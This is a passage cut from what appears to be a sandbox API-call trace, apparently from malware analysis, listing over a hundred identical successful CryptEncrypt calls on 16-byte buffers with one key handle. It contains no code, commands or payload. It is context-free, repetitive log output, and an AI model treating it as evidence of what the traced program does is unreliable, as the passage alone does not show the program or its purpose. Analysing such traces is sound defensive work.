pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.809] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.810] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.811] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, 